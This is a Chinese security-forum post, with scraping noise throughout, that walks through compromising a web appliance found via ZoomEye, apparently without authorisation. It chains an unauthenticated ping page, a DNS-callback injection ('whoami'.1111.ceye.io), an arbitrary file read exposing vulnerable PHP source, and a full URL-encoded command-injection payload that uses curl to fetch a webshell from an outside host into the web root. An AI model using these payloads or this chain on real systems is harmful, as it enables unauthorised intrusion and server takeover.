中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
( D. f3 J9 B/ P** **寻找突破口**
% f0 P/ x( E7 Q* Y. L7 `  ^9 t! j7 M) }& T( Q6 U
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**  D; H' I: @% a5 y

: O' O6 V6 k, x3 J1 R![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"), v- X! r& G% I* L& {7 n
& s* L8 T1 ~; z

- K' W% E3 O5 e
! l; R, O4 W9 K3 O1 k+ W**发现reporter和[Technology,, z; n5 N) ^2 K) T2 E
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
! p7 d" b! J9 X) F2 U7 e2 p, i! X0 Q3 Y% _! t4 X. X
**地址为:**
6 Y# |* y/ |1 v* T& c* U( B6 K; f# N5 s. z& Q5 I8 k; e/ x* E" }
[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**9 }# ]& R% a' y& N$ H
- }/ X5 q9 K$ g5 x' a2 e" r( A
![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
! L" C0 J+ m5 Z5 L2 o. z
; \( @6 D% b: r' }% _( j+ i5 U2 N2 h( d7 l% _: z

$ g$ l8 t+ D* W1 R/ M# ?1 P**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
6 {6 ^! d# ~. E4 X1 Z8 |" [, Q1 w8 X2 I
**`whoami`.1111.ceye.io** **,如图:**
/ N) S1 m3 d, r! @. t) I: l
' O5 k$ h5 n6 t9 B& V# ~3 |, l0 j. F![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")& y- ^5 E6 s+ f2 Q/ H" r/ L( B
* V6 [) R, L8 ?" }

- ~8 ~6 U& q/ @+ @2 Z2 M
; J: w0 r: `" ~/ _2 R! }4 R7 e. K" y**返回dns记录如图:**
& C4 U" L- ~5 y1 J1 n' ^1 b9 p" M
6 ~9 L1 y/ h3 ^$ E( g3 @( x# t8 r7 ~![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")+ b( s0 N) A! D, z) u

" K. R% k" |1 f& g9 i; H- W3 X
: E  ^2 k$ r7 h: l5 O: I
5 }8 J: ]+ f# f**发现当前用户权限为root**
( \% q1 z- f# H( z" I$ @$ v  x% @$ L1 Z/ E' p& K* [
**一、$ d1 }! [- Z! j: ~
** **通过漏洞组合getwebshell**
6 H5 k$ t/ N4 D, L9 B- B2 v% V6 G  p4 O4 F
**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
  F* ~! Y9 d& x- I+ _( r% W/ t! ^  Z8 j4 u8 C1 B8 L
![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
: N2 N: C3 k5 s/ W3 h
8 x0 U7 ^$ g7 B+ Q' D" |) e9 ~
3 Y7 @+ [. e' x# R' h3 ~
3 ~2 l9 e. ?5 Z$ g+ w$ J" l7 M6 d7 Q**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**! s( H* K2 p8 x& C2 n9 q
7 V3 B3 a+ I+ T0 C; U
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
4 g3 _8 w" Y: A0 p0 j
3 \7 {% a( A7 Z, [0 r4 {![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
3 S1 t, p9 ~4 z, {0 {3 s7 W
) `$ p/ c6 o3 o! u% r& w, c**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**, P/ V$ l" ^. U0 A" |
2 S. H' N- V1 _, [* ^3 _% E
![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\7 r. Q0 t4 @, t' Q! [# V

* b8 M% g/ A* X" \9 ?. v0 t
$ p: W3 s8 Q& Q7 J**源代码为:**( O6 a8 ^( m1 i

0 Z  U( `9 ?5 L4 M0 y# r6 w3 ^9 z, [<?php1 }/ [# {9 A/ A; q
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
9 A! |1 l1 ]$ x* Z7 x8 g! w0 G?>) W8 ^, l& @, R1 j# n) `

- L! {  F1 ^+ _( r: i" i; [, ?<?php, ^' i' |6 W3 v4 R% O& {
) P* E) Q6 }2 r; P1 d% n
% A, i% _# d* B

- E2 [' N/ q3 Z% Fsession_start ();
2 o) T7 H! K/ j( W4 k. j) }  {- _  I- z. c' p
5 o* e4 \* Z2 k: c. W. P6 g
6 ]' p' b) O6 I

, ^  n- Q- }: y/ w6 R* k% a; T5 _( S, ~9 c. ?
# P9 v6 k( v$ O8 m# k: w& Q

! k2 E8 `9 M* M. G! {( b% Rif ($_GET ["objClass"] == "")
( J% S# Y7 e. ~" g- N, C5 p* m2 D' v5 p5 \4 |6 j; H, m" x

4 T: L8 Q& v' m0 `3 H8 f1 ?* }" S. b
$ E" C- j) \2 j1 [- [7 r      exit ();  w- q: J+ H# Z' @9 a& t
8 H* Q" b+ t. J/ o/ a
0 O  G0 h& q  V' N- L" Y6 c

- s; q# m- D" r0 R% d$param = $_REQUEST;* q( x, F7 K+ Y- a1 b7 }

( b* c# B2 C0 d9 H! u6 ]
0 m* e, U' U. n: j+ [2 K; V5 n: Z; s, I: w  F# ~: L% `
  n0 n  n7 q+ W& x0 Q
: i( F/ r/ h9 K. W1 b( {

* L) I1 S3 \/ }# k
- ~% j$ M" t8 l! j  |4 ~3 z//echo "\n--------------------------\n";
, Q4 X8 O. ^/ f; `7 U) c- d& L% A8 m

2 w* w/ R! n4 X3 D; a: s0 @  r% H% I
//print_r($param);
/ q* ^) z4 s9 Z$ o2 o2 u
3 E# g% C" n# T9 v) @2 ]+ L8 P9 u( o

* `0 w; G" w# F5 j% g8 z//echo "\n--------------------------\n";
1 ?. h* h6 N1 v
# F( c* \7 s' `1 ~; V' x  }: i- P1 l
: [8 o5 f# y: y( Z; @1 a  T* r  a1 y7 t
[if ($_GET ["method"] ==/ M: O. w7 O& j5 R2 d
"getList" || $_GET ["method"] == "import" ||  O9 m# P: `2 B2 {4 f
$_GET ["method"] == "processAlarm") ](){
% _# e- C8 E0 S& X3 B. n# k; v5 ^% u& E/ l1 E! ?+ D% d. b
" \3 u' B$ ?% |0 v
$ A4 s5 g. G6 P+ I
      $param! Q3 ]2 }# x. E
["user"] = $_SESSION ["s_userName"];# ~2 b  w2 C+ d$ w5 F' q* v; ?# x
, [+ `' N. `- s5 R5 T

( q  I( N: O$ Y5 m8 F/ q! Z$ W
5 w! b! l: o* W      $param7 T1 B3 ?4 P& t: v& p
["lan"] = $_SESSION ["lan"];8 H5 j$ v# r3 p2 J2 E! t
0 u8 p$ A. B3 e5 O/ P/ L
/ f7 x& P( n. H  h7 o
/ [! {1 {1 C& S$ l) ^. s+ @* N# J
      $param
" E3 `5 A  b* u/ u["regUserpath"] = $_SESSION ["regUserpath"];
4 @+ Q. e6 v, x: _+ w, ^$ |! f" M3 y& k$ R. b1 |

8 J' d5 O$ g: u, m( r" C/ K. {$ d" U/ e0 b( o
   
2 r0 Z- h7 a, D4 f# p; F& {
3 U7 Q- B. k, B, S: W4 l: V
8 K0 y- `( ?: u, R2 M0 ~
8 ~+ {8 g& ]7 |& X6 _      exec (
0 A! p- Q' Z1 Z5 h* N0 h"rm -rf /tmp/cache" );/ T, e1 p( B0 q4 R5 u  I- U

. F. O3 O  X. ?+ H% Z* \" j# l. p( C) X2 Y4 \# l
* w3 m) M$ v* `: h! D1 y
      [$cmd = "/usr/local/php/bin/php ".$_SERVER) c. m4 D% T5 `! k' i0 F! d- {
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
2 ]8 M- P% d& d- F* Q. _# h
8 n! d9 O0 \# @  I$ r
+ D) L! |0 [. ?
4 Y) M6 y1 j8 j  T) M- [0 P3 G      $cmd .=
! Q( m; U' p7 O" " . $_GET ["objClass"];% `" Q  v7 f$ K. U- G$ C! V5 B, C

6 P% e, t2 }& r3 k7 i/ c# x6 u+ t# B3 I; c# K

2 T  W  h4 L6 F2 R" g6 L      $cmd .=& }6 F" X6 }) O$ l; Y
" " . $_GET ["method"];' l! T. R4 ~* W! o8 j
6 P& W' n! x# `, \

( v; l7 i- `; a6 F. a+ U- p1 q: Z
      $cmd .=4 q! @/ }* m: z. q# f8 r2 X
" " . base64_encode ( json_encode ( $param ) );
' |* z) D) `5 A) r1 Y* n) l& N; b& v9 }/ X. N

6 g! P$ }! t/ ~0 \! @2 W: {* |' \7 X. ]( G( k/ d
      [file_put_contents("/tmp/query_cmd",$cmd);]()
/ a- h: W1 q5 U3 [9 D! [) J0 Y9 }
6 f, `3 v1 B: n5 C/ W3 S, j( G4 g6 |3 v! `1 P7 \( N

" U  T$ l: F- _. X) S: u. t9 h; B5 p      exec ( $cmd . " + z2 z& ^/ g" Z) p8 g4 k% j6 W- G
> /dev/null &" );! X9 ?# d$ g0 s7 p1 Z1 }
' S' I. J5 o" v7 u( w
9 [( e0 f  \& j
+ @% O: ~! i* T. P1 N& s% c

7 n+ w7 E. q: a, S7 l8 }* Y% m, I
} else {: R: X" r, f4 W) L  e+ S

8 o! [5 j: @+ ^, k- k
; w4 D4 @/ \6 v0 c9 U/ T, v4 [( \6 k: X$ _2 N  D/ @% g, c0 Z. ?" i
      require_once
' f( Y0 e# c* L( p($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");+ A6 q! K5 K. o' f3 w: _. N  ^

; \# u9 z  v/ p- Q" Q6 g
5 {1 e: L6 C. Y7 |
6 _! T! H) ?0 Y: l/ h8 H' U& a/ Q      $obj = new
0 [* N3 f: l8 \$ i0 w! i3 TQueryInterface ();
1 i- e6 `1 Z! N1 ]# x& f
0 R1 F. s2 {( z& ~6 I
* o" y7 K) A' G# v7 l
3 M- b2 B. S; h      $instance =
+ F: X$ Z) d* T) D4 i) Z. |$obj->getInstance ();
6 A& P, {  |' k! |' @+ j; |$ i" n% R# k+ D' Q
- Y2 B5 R1 N+ e6 s' a" g

  i1 K. U6 e9 j' X      $instance->invokeMethod9 x4 w2 r2 |+ n; H- V1 v8 r
( $_GET ["objClass"], $_GET ["method"], $param );
' S: F8 z% m" K& X! ?3 l7 g
0 k" e* {3 `. J# R9 k7 q  ?8 W8 g+ H" d6 p7 @3 s( {

  @) |. s! g' J' l) I5 K}3 q' h* i- P' t8 n4 j) U2 ~, y
4 Y1 s# V7 }0 K8 ]0 b

) Q' e1 b2 J4 L  _- t
/ X7 D% O% E' I3 b  H; yexit ();) q9 g3 {2 Z9 L7 x

$ n$ A( b" T+ F0 {( U3 c4 c
# p& H8 `, f* q# I6 C/ ?  q; n! B" `8 k# v. o" b1 X. I
?>
2 f! A# T+ n0 P
( L. I5 E/ n8 k& T6 F3 p**经常简单审计发现if ($_GET
7 ?! l8 Q2 l3 G6 C0 f4 k7 k["method"] == "getList" || $_GET ["method"] ==+ c4 Y* K* a0 D' D$ A0 u3 N
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
6 ]' W& q! r7 b, K( Z- z6 W* F: s"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
$ H4 G# @( v7 U, r"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**% x* W. ~* H2 C: [: n
" @0 o# p9 L9 g+ e7 {, Y
**      exec ( $cmd
6 Y  j2 P) P/ X# X4 B0 e- J. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
( {3 a" P; ]. H1 a) B4 O% z+ k. l/ u: {9 F/ @2 I/ t/ j& i

! N1 q- F# s8 k9 H![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
2 k# @4 s# ^: ^/ _* ~
% \& J: {+ O0 Z) j9 F, c& x6 g/ b# S% R1 h
" R' L% G9 D/ K9 H
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**( v& W# L4 l- F
( e/ {! K# K6 F9 B! N
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
; O5 }/ R4 y0 m; x; s
4 d/ W: h+ @$ q. ?4 S**我们用url解码如下:**
& Q+ ]" j. p1 x. G* K: n0 L, J: x1 T9 |  ~! b4 Z; J. ?& N
**|curl http://1.1.1.1/qYCwxRz1.zip -o" a3 [+ O* d( g! V8 |
/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o
( b4 N6 i5 R% u% O+ \' d& q/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)
5 F5 G: o; P4 e% j5 p
5 [6 h1 G$ x: d8 }& K1 T**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
( v- w  f9 u! b2 L: Q2 O: T* A: w) J; _/ E) e9 |" |  ~0 M! e

! t4 z3 j) L1 }6 L5 r" _![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
' D! w5 x- ]9 ~$ U* `
8 }8 ~4 D. W- }4 t8 `0 p$ Y1 @
$ \- b  M# h1 k7 Q0 E& c1 ]2 S9 Z  x: F0 r7 P
8 f+ w) c+ }' d: U% u4 \
**三、总结**
! {/ ~2 H, K( W  a5 h$ \8 M7 P$ g1 n' t+ F9 N
**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
& R% z. P" H2 }' c# v
9 F$ |0 m$ S3 N/ ?9 i  O**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
4 h- v9 F6 s1 U[/md]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2